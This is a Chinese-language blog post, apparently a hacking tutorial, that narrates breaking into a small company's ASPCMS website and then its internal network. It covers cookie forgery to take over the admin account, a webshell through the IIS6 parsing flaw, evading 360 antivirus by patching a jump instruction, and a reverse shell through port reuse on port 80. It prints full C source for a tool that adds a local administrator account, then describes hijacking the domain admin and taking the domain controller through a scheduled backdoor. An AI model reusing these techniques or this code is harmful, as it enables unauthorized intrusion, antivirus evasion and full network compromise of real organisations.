其实相比起我这个文章来说,我觉得题目更霸气。呵呵。闲话少说,咱们开始今天的文章
首先呢 我的目标站是一个小型的工作室公司。比较小。网站是 asp cms 的 asp 有一个
比较二蛋的漏洞,上次文章写过了,就不再强调了。我们首先去注册一个用户
然后我们利用谷歌 cookie 修改插件 我们把值修改为 admin
将 ID 的值修改为 1.
这样我们就可以来修改 admin 的密码了
Aspcms 拿 shell 就不写了 模板修改 利用 iis6 解析漏洞
我们来执行一下 net user 看一下用户。不成功缺少组建。明显做了手脚
再一看发现了 360 杀毒软件。我不解为什么这么服务器安装 360 呢?蛋疼
这样呢我们需要反弹一个 shell ,但是这个 shell 功能太渣渣。木有这个功能。还有一个问题就是,这个服务器只对外开放了 80 端口,其他的端口没有开放。且换了个 webshell 去反弹 shell 时无法得到回话。这样的话我们就无法得到反弹的 shell 。但是我们是不是就不能反弹了呢?不然。我们可以来进行端口复用,也就是说我们反弹的 shell 也通过 80 端口、所以我们要用个小程序。但是貌似不免杀。我们来免杀一下。免杀 360 我基本就是加个壳改一下就 ok 了。好几年不做免杀,这方面都忘记了。
随便找了个壳加了一下,我们把 JBE 改为 JA 。 Ok 免杀了
Good ,上传到服务器运行一下
接下来就是端口服用了。我们本地监听 80. 然后发一个数据包到服务器。获得 shell
突破 360 防黑墙我们来添加一个用户。 /add 与 /ad 的性质是一样的。所以我们直接 /ad 添加 不拦截。当然 你也可以编译一下 C 代码
#include <stdio.h>
#include <Windows.h>
#include <lm.h>
#pragma comment(lib,]Netapi32.lib])
int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);
int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);
BOOL ImprovePriv(LPWSTR name);
int main(INT argc,char * argv[])
{
BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);
if(argc < 3)
{
printf([\nCode by Pnig0s1992″);
printf([\nUsage:]);
printf([\n\t%s UserName Password],argv[0]);
printf([\n\tRemark:Default add to Group:Administrators.]);
return -1;
}
if(bResult)
{
printf([Successfully promote priv!]);
}else
{
printf([Failed promote priv.]);
return -1;
}
int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);
wchar_t *wUserName =new wchar_t[Namesize+1];
if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))
{
return false;
}
int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);
wchar_t *wPassword =new wchar_t[Passsize+1];
if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))
{
return false;
}
LPTSTR lpName = wUserName;
LPTSTR lpPassword = wPassword;
LPWSTR lpSevName = NULL;
LPWSTR lpGroupName = L]Administrators];
AddUser(lpName,lpPassword,lpSevName);
SetGroup(lpName,lpSevName,lpGroupName);
return 0;
}
BOOL ImprovePriv(LPWSTR name)
{
HANDLE hToken;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
printf([\nGet process token failed.(%d)],GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))
{
printf([\nLookup process priv failed.(%d)],GetLastError());
return FALSE;
}
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))
{
printf([\nAjust process priv failed.(%d)],GetLastError());
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
ui.usri1_name = lpUsername;
ui.usri1_password = lpPassword;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);
if(nStatus == NERR_Success)
{
printf([\nAdd user:%S successfully!],lpUsername);
}else
{
printf([\nAdd user failed:%d.],nStatus);
}
return 0;
}
int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)
{
NET_API_STATUS nStatus;
LOCALGROUP_MEMBERS_INFO_3 lgui;
lgui.lgrmi3_domainandname = lpUsername;
nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);
if(nStatus == NERR_Success)
{
printf([\nSuccessfully set USER:%S to GROUP:%S!],lpUsername,lpGroupName);
}else if(nStatus == NERR_GroupNotFound)
{
printf([\nCan’t find such a group:%S.],lpGroupName);
}else
{
printf([\nSet GROUP:%S failed.],lpGroupName);
}
return 0;
}
恩。。好我们继续
有了一个用户 我们去嗅探。但是很可惜。啥子都没有。
既然没办法 拿咱就在内网渗透上想想办法
我们先生成一个 windows 可执行后门
然后我们调用模块来监听,获得一个会话
下面我们进行内网渗透,调用一个模块
然后我们查看一下域,找到域管理
我们来劫持域管理
获得 shell 然后我们再来查看一下域
我们获得域管理的时间
然后我们计划任务 2 分钟之后执行我们的后门程序
Ok 获得会话。然后域控你有了,你懂的
查看更多关于获取webshell到内网渗透一条龙 - 网站安全 - 自学的详细内容...